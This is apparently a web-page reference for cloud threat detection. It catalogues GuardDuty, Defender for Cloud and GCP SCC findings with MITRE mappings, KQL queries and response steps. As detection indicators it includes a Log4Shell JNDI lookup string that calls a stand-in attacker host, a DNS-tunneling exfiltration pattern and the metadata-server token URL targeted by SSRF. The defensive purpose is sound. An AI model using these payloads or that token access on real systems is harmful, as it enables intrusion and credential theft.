Cloud Security/ Native Detection Reference
Detection Reference

Native Cloud
Detection Reference

Comprehensive detection reference for GuardDuty, Microsoft Defender for Cloud, and GCP Security Command Center. Covers finding types, MITRE ATT&CK mapping, IOCs, KQL/SPL queries, and response playbooks — all in one searchable reference.

GuardDuty
AWS Native
Defender
Azure / M365
SCC
GCP Native
MITRE
ATT&CK Mapped
Select Detection Platform
AWS GuardDuty
Defender for Cloud
GCP SCC

Amazon GuardDuty analyses CloudTrail management events, S3 data events, VPC Flow Logs, DNS logs, EKS audit logs, and Lambda Network Activity to produce threat findings. Findings use the format ThreatPurpose:ResourceTypeAffected/ThreatFamilyName.Description

Critical & High Severity Findings
UnauthorizedAccess:IAMUser/MaliciousIPCaller.Custom
IAM · Credential Access
HighTA0006

An IAM user is making API calls from an IP address on a custom threat intel list. Indicates credential theft and misuse from known attacker infrastructure.

📡 Signal: CloudTrail API call from custom threat list IP
sourceIPAddress: known-attacker-ip
userType: IAMUser
errorCode: none (successful call)
// ResponseDisable IAM user access keys immediately. Check all API calls in last 7 days. Look for: IAM policy changes, S3 access, EC2 launches, data exfil via CloudTrail.
PrivilegeEscalation:IAMUser/AdministrativePermissions
IAM · Privilege Escalation
HighTA0004

An IAM entity is attempting or has successfully escalated to administrative permissions — typically via iam:PassRole + lambda/EC2 creation, or modifying policies.

📡 Signal: iam:AttachUserPolicy / iam:PutUserPolicy / iam:PassRole calls
API calls: PutUserPolicy, AttachUserPolicy, AddUserToGroup
targetResource: AdministratorAccess policy ARN
// ResponseRevoke elevated permissions. Check: who initiated escalation, time of escalation, what was done after. Compare against approved change record.
CryptoCurrency:EC2/BitcoinTool.B!DNS
EC2 · Impact
HighTA0040

An EC2 instance is querying domain names associated with cryptocurrency mining pools. Indicates a compromised instance being used for cryptojacking.

📡 Signal: DNS queries to known mining pool domains
domain: *.xmrpool.net, *.supportxmr.com
instanceId: affected EC2 ID
protocol: DNS
// ResponseIsolate instance (remove from SG/ALB). Take memory dump via SSM. Check process list, cron jobs, startup scripts. Identify initial access vector (SSRF, RCE, exposed service).
Trojan:EC2/DNSDataExfiltration
EC2 · Exfiltration
HighTA0010

EC2 instance DNS traffic shows characteristics of DNS tunneling — encoding data in DNS queries to exfiltrate it through DNS protocol to external resolver.

📡 Signal: High volume DNS queries, long subdomain labels, unusual entropy
query pattern: base64-data.attacker-domain.com
query rate: >100/min from single instance
// ResponseBlock outbound DNS from instance (SG). Capture DNS logs. Identify files accessed prior to exfil. Calculate data volume in tunnel traffic.
Recon:IAMUser/UserPermissions
IAM · Discovery
MediumTA0007

An IAM user is actively enumerating their own permissions — typical pre-escalation recon. Calls to iam:SimulatePrincipalPolicy, iam:GetPolicy, iam:ListAttachedUserPolicies.

📡 Signal: Burst of IAM describe/list/get API calls
APIs: GetUserPolicy, ListUserPolicies, ListAttachedUserPolicies, SimulatePrincipalPolicy
// ResponseWatch the user — recon often precedes escalation within 24h. Alert on follow-up iam:Attach*/iam:Put* calls. Consider proactive key rotation.
Stealth:IAMUser/CloudTrailLoggingDisabled
IAM · Defense Evasion
CriticalTA0005

CloudTrail logging was disabled. This is almost always attacker activity — disabling audit trail before executing primary attack objectives.

📡 Signal: cloudtrail:StopLogging, cloudtrail:DeleteTrail
API: StopLogging / DeleteTrail
time gap: period without CloudTrail logs = blind spot
// ResponseIMMEDIATE: Re-enable CloudTrail. Identify all activity during blind spot via VPC Flow Logs, S3 access logs, service-specific logs. Treat blind spot period as fully compromised.
UnauthorizedAccess:EC2/SSHBruteForce
EC2 · Initial Access
MediumTA0001

External IP is making repeated SSH login attempts against an EC2 instance. Indicates automated brute-force or credential stuffing attack targeting port 22.

📡 Signal: VPC Flow Logs — repeated REJECT on port 22 from external IP
sourcePort: ephemeral (random)
destPort: 22
action: REJECT (SG blocking)
// ResponseConfirm SG is blocking (REJECT not ACCEPT). If ACCEPT — immediate incident. Block source IP at NACL level. Enable SSM Session Manager to eliminate port 22 need.
Policy:S3/BucketPublicAccessGranted
S3 · Exfiltration
CriticalTA0010

An S3 bucket was made publicly accessible via bucket policy or ACL change. Immediate data exposure risk — especially if bucket contains sensitive data.

📡 Signal: S3:PutBucketPolicy or S3:PutBucketAcl making bucket public
API: PutBucketPolicy / PutBucketAcl
principal: "*" or AllUsers
// ResponseRemove public access immediately. Check access logs — has bucket been accessed by external IPs? Classify data in bucket. Notify DPO if PII was potentially exposed.

🔍 GuardDuty Finding Lookup Tool

Select the MITRE ATT&CK tactic or affected resource to see relevant GuardDuty findings, detection signals, and recommended response actions.

Microsoft Defender for Cloud provides CSPM + CWPP across Azure, AWS, and GCP. Integrates with Microsoft Sentinel for SIEM/SOAR. Defender for Cloud generates Security Alerts and Security Recommendations with MITRE ATT&CK mapping.

Key Defender for Cloud Alert Types
Suspicious authentication activity
Entra ID · Credential Access
HighTA0006

Unusual sign-in pattern detected — impossible travel, sign-in from Tor exit node, or leaked credential usage detected by Entra ID Protection.

risk: anonymizedIPAddress / leakedCredentials
location: multiple countries in <2h
// KQL — Sentinel
SigninLogs | where RiskLevelDuringSignIn in ("high","medium") | where ResultType == "0" // successful | project TimeGenerated, UserPrincipalName, IPAddress, Location, RiskState
Azure VM — Crypto mining activity
VM · Impact
HighTA0040

VM process tree shows mining tools (xmrig, minergate), suspicious CPU usage, or outbound connections to known mining pools.

process: xmrig.exe / minergate / cgminer
network: pool.minexmr.com:3333
// KQL — Sentinel
SecurityAlert | where AlertName has_any ("Crypto","Mining","coin") | project TimeGenerated, AlertName, CompromisedEntity, RemediationSteps
Privileged role assigned outside PIM
Entra ID · Privilege Escalation
CriticalTA0004

A privileged Entra ID role (Global Admin, Security Admin) was assigned via direct assignment bypassing PIM JIT approval workflow. Possible insider threat or account compromise.

operation: Add member to role (outside PIM)
role: Global Administrator
// KQL — Sentinel
AuditLogs | where OperationName == "Add member to role" | where TargetResources has_any ("Global Administrator","Privileged Role Administrator") | where InitiatedBy !has "Privileged Identity Management" | project TimeGenerated, InitiatedBy, TargetResources, Result
Mass download from SharePoint/OneDrive
M365 · Exfiltration
HighTA0010

User account is performing bulk file downloads from SharePoint/OneDrive — indicator of data exfiltration, insider threat, or compromised account collecting data before exiting org.

threshold: >500 file downloads in 1 hour
operation: FileDownloaded / FileSyncDownloadedFull
// KQL — Sentinel
OfficeActivity | where Operation in ("FileDownloaded","FileSyncDownloadedFull") | summarize Downloads=count(), Files=make_set(SourceFileName) by UserId, bin(TimeGenerated,1h) | where Downloads > 100 | order by Downloads desc
Kubernetes workload with elevated permissions
AKS · Lateral Movement
HighTA0008

AKS pod running with privileged security context, hostNetwork, or cluster-admin role binding to service account — path to node/cluster escape.

securityContext.privileged: true
roleBinding: cluster-admin → service account
// KQL — Sentinel
AzureDiagnostics | where Category == "kube-audit" | where log_s has "privileged" and log_s has "true" | project TimeGenerated, log_s
Key Vault access from suspicious IP
Key Vault · Credential Access
HighTA0006

Secret or key retrieval from Azure Key Vault from a new IP, Tor exit node, or IP outside expected application subnets. Could indicate compromised application or developer credentials.

operation: SecretGet / KeyDecrypt
caller IP: outside known VNet ranges
// KQL — Sentinel
AzureDiagnostics | where ResourceType == "VAULTS" | where OperationName in ("SecretGet","KeyDecrypt","KeyUnwrapKey") | where CallerIPAddress !startswith "10." | project TimeGenerated, CallerIPAddress, identity_claim_upn_s, ResultSignature

GCP Security Command Center (SCC) aggregates findings from Event Threat Detection, Container Threat Detection, VM Manager, Web Security Scanner, and partner integrations. SCC Premium includes real-time threat detection via Event Threat Detection.

Key SCC Finding Categories
Exfiltration: BigQuery Data Extraction
BigQuery · Exfiltration
HighTA0010

Large data export from BigQuery to external GCS bucket or external project. ETD detects anomalously large query results or exports to unexpected destinations.

finding class: THREAT
source: Event Threat Detection
indicator: bigquery.tables.export to gs://external-project
// ResponseRevoke service account access. Check BigQuery audit logs for destination bucket. Determine: is destination bucket in same project? If no — potential exfil. Check IAM for who has actAs the SA.
Persistence: IAM anomalous grant
IAM · Persistence
CriticalTA0003

New IAM binding was added to a project, folder, or org with a sensitive role — especially Owner, Editor, or Security Admin. Unusual admin creating bindings for external accounts.

API: SetIamPolicy
role: roles/owner or roles/editor
principal: external / new service account
// ResponseRemove the IAM binding immediately. Check: was this an approved change? Review what the new principal did after the binding. Check for secondary persistence (SSH keys, Service account keys).
Initial Access: Log4j backdoor
GCE/GKE · Initial Access
CriticalTA0001

ETD detects Log4Shell JNDI lookup patterns in VPC flow logs or DNS activity. Indicator of active exploitation attempt or successful RCE on a GCE instance or GKE pod.

pattern: ${jndi:ldap://attacker.com/a}
detection: ETD Log4j Bad Domain rule
// ResponseIsolate affected workload. Block outbound traffic from instance. Check if exploitation was successful (look for new processes, network connections post-exploit). Patch Log4j immediately.
Discovery: Service Account Self-Investigation
IAM · Discovery
MediumTA0007

A service account is making IAM list/get calls to enumerate its own permissions or other project IAM policies — pre-escalation reconnaissance activity.

APIs: projects.getIamPolicy, iam.roles.list, iam.serviceAccounts.list
caller: service account (not human)
// ResponseInvestigate if this SA key was leaked. Check key age and usage history. If suspicious — rotate key, review application using the SA.
Malware: Bad domain DNS query from GCE
GCE · Command & Control
HighTA0011

GCE instance is sending DNS queries to domains on Google Safe Browsing threat intelligence lists — malware C2, phishing, or malware distribution infrastructure.

source: ETD Malware Bad Domains
indicator: DNS query to threat intel matched domain
// ResponseIsolate instance by removing from instance group and blocking outbound via firewall rule. Memory forensics via GCE disk snapshot. Identify initial compromise vector.
Privilege Escalation: Service Account Token Hijacking
Metadata Server · Credential Access
CriticalTA0006

GCE metadata server token was accessed from outside the instance — possible SSRF exploitation or insider token theft. Token provides SA-level GCP API access.

URL: metadata.google.internal/computeMetadata/v1/.../token
source IP: not matching instance private IP
// ResponseRevoke the SA token (requires SA key rotation or SA disablement). Patch the SSRF vulnerability. Switch to Workload Identity to eliminate metadata server token exposure.
MITRE ATT&CK Coverage — Native Tools
MITRE TacticAWS GuardDutyDefender for CloudGCP SCC / ETD
TA0001 Initial Access Good (SSH, EC2 port scan, TOR) Good (Entra ID risk, AAD) Partial (ETD for JNDI/Log4j)
TA0002 Execution Partial (Lambda, ECS suspicious activity) Good (VM run command, suspicious process) Partial (Container Threat Detection)
TA0003 Persistence Good (IAM backdoors, unusual login profiles) Good (new user, PIM bypass) Good (IAM anomalous grant)
TA0004 Privilege Escalation Good (IAM policy changes, admin perms) Good (PIM bypass, elevated role) Partial (SA anomalies)
TA0005 Defense Evasion Good (CloudTrail disable, Config changes) Partial (Diagnostic setting disable) Partial (Audit log disable)
TA0006 Credential Access Good (anomalous key usage, IMDS) Good (Key Vault, leaked creds) Good (metadata server abuse)
TA0007 Discovery Good (IAM enum, S3 recon) Partial (subscription enum) Good (SA self-investigation)
TA0010 Exfiltration Good (S3 public, DNS tunnel, VPC flow) Good (SharePoint mass download) Good (BigQuery export, GCS)
TA0040 Impact Good (crypto mining, ransomware) Good (crypto, deletion alerts) Partial (crypto mining)

Good coverage  ·  Partial — supplement with additional logging  ·  Limited — requires SIEM enrichment